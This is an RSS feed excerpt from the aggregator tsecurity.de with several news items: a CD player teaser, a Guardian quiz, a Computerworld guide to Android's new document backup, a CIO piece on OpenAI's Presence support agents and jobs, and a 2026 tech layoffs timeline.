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<title><![CDATA[Endlich wieder CDs hören: Dieser portable Player ist die perfekte Zeitmaschine]]></title>
<description><![CDATA[Physische Datenträger gehören zum alten Eisen? Von wegen! Mit diesem Gerät bekommt ihr nicht nur Retro-Vibes, sondern auch moderne Technik geboten.]]></description>
<link>https://tsecurity.de/de/3695555/it-nachrichten/endlich-wieder-cds-hoeren-dieser-portable-player-ist-die-perfekte-zeitmaschine/</link>
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<pubDate>Sun, 26 Jul 2026 13:30:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
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<content:encoded><![CDATA[Physische Datenträger gehören zum alten Eisen? Von wegen! Mit diesem Gerät bekommt ihr nicht nur Retro-Vibes, sondern auch moderne Technik geboten.]]></content:encoded>
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<title><![CDATA[What links Horrible Histories and Gordon Brown’s neighbour? The bumper summer quiz]]></title>
<description><![CDATA[From award-winning Julies to golfers who were nearly the best, test your knowledge with this bumper summer quiz1 What is now the world’s most populous city, according to the UN?2 Which two Julies won best actress Oscars in consecutive years?3 What was thrown by the goddess Eris at the wedding of ...]]></description>
<link>https://tsecurity.de/de/3695219/it-nachrichten/what-links-horrible-histories-and-gordon-browns-neighbour-the-bumper-summer-quiz/</link>
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<pubDate>Sun, 26 Jul 2026 08:15:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>From award-winning Julies to golfers who were nearly the best, test your knowledge with this bumper summer quiz</p><p><strong>1</strong> What is now the world’s most populous city, according to the UN?<br><strong>2</strong> Which two Julies won best actress Oscars in consecutive years?<br><strong>3</strong> What was thrown by the goddess Eris at the wedding of Peleus and Thetis?<br><strong>4</strong> Richard Nixon appeared a record 55 times on the cover of what?<br><strong>5</strong> What became Britain’s tallest structure in 1894?<br><strong>6</strong> Mojang Studios in Sweden is renowned for developing which video game?<br><strong>7</strong> Which golfer spent 270 weeks as world No 2, but never reached No 1?<br><strong>8</strong> Which “The” group, named after a Camus novel, went through over 65 members?<br><strong>9</strong> Who is the subject of Alberto Korda’s photograph Guerrillero Heroico?<br><strong>10</strong> What defines an Olimpico goal in football?<br><strong>11</strong> Who initiated the Fridays for Future school strikes?<br><strong>12</strong> Which British dynasty is commemorated by a monument in St Peter’s Basilica?<br><strong>13</strong> What type of souvenir was invented in Vienna in 1900?<br><strong>14</strong> Which Norwegian island gives its name to two shipping forecast areas?<br><strong>15</strong> Which art museum employs a colony of cats to protect it from rodents?<br><strong>16</strong> Millvina Dean, who died in 2009, was the last living survivor of what?<br><strong>What</strong> <strong>links:<br>
  17</strong> Arrival of spring; double portraits; swimming pools; Grand Canyon; Yorkshire landscape?<br><strong>18</strong> Mozart &amp; Franz Süssmayr; Landseer &amp; Millais; F Scott Fitzgerald &amp; Edmund Wilson?<br><strong>19</strong> Cordelia, Goneril &amp; Regan; Imogen; Marina?<br><strong>20</strong> Britannia (1717-1936); Golden Hind (1937-69); St Edward’s Crown (1971-84)?<br><strong>21</strong> Alba white truffles; Pule cheese; Wagyu beef; Yubari King melons?<br><strong>22</strong> Matt Damon; Robert Frost; Bill Gates; Bonnie Raitt; Mark Zuckerberg?<br><strong>23</strong> Horrible Histories; glucose; Gordon Brown’s neighbour; King-Smith’s swine; winter squash?<br><strong>24</strong> Mount Whitney in California and Mulhacén in Andalucía?<br><strong>25</strong> 1991 defence of Baghdad; nacre; UK parliament; Virginia?<br><strong>26</strong> Carrying a double bass; missing a bus; walking two dogs; wearing a cowboy hat; winding a clock?<br><strong>27</strong> 2 (1st); 29 (10th); 541 (100th); 7,919 (1,000th); 104,729 (10,000th)?<br><strong>28</strong> Ant; bull; cuckoo; eagle; shower of gold; swan?<br><strong>29</strong> Zlín, Czechoslovakia; Cohutta, US; Novo Mesto, Yugoslavia?<br><strong>30</strong> Drowned; large bread; pick me up; half cold?</p> <a href="https://www.theguardian.com/games/2026/jul/26/what-links-horrible-histories-and-gordon-browns-neighbour-the-bumper-summer-quiz">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Was Aufsichtsräte über KI wissen sollten | Springer Nature Link]]></title>
<description><![CDATA[See our privacy policy for more information on the use of your personal data. ... IT Security Awareness · Knowledge Based Systems · Artificial ...]]></description>
<link>https://tsecurity.de/de/3694996/it-security-nachrichten/was-aufsichtsraete-ueber-ki-wissen-sollten-springer-nature-link/</link>
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<pubDate>Sun, 26 Jul 2026 06:31:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<content:encoded><![CDATA[See our privacy policy for more information on the use of your personal data. ... <b>IT Security</b> Awareness · Knowledge Based Systems · Artificial ...]]></content:encoded>
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<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
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<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
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<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



